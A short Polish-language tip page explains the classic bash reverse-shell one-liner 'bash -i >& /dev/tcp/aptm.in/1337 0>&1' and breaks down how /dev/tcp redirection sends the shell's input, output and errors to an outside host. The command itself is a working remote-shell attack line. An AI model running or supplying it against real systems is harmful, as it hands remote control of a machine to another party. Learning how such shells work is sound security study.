Protipy / Bash / Unix
Reverse shell w bashu
bash -i >& /dev/tcp/aptm.in/1337 0>&1
Wstęp
Kiedy bash skompilowany jest z opcją --enable-net-redirections (co jest zwykle prawdą), użytkownik może wykonywać polecenia na pseudo urządzeniach /dev/tcp/<host>/<port> oraz analogicznie /dev/udp/<host>/<port>, co spowoduje otwarcie połączeń tcp lub udp na <host>:<port> i przekierowanie tam wejścia/wyjścia.
W powyższym przykładzie:
Breakdown
bash -i
uruchomienie interaktywnego shella
>& /dev/tcp/aptm.in/1337
przekierowanie standardowego wyjścia (STDOUT - 1) i wyjścia błędów (STDERR - 2) do hosta aptm.in na port 1337/TCP
0>&1
przekierowanie wejścia (STDIN - 0) do tego samego deskryptora co STDOUT - 1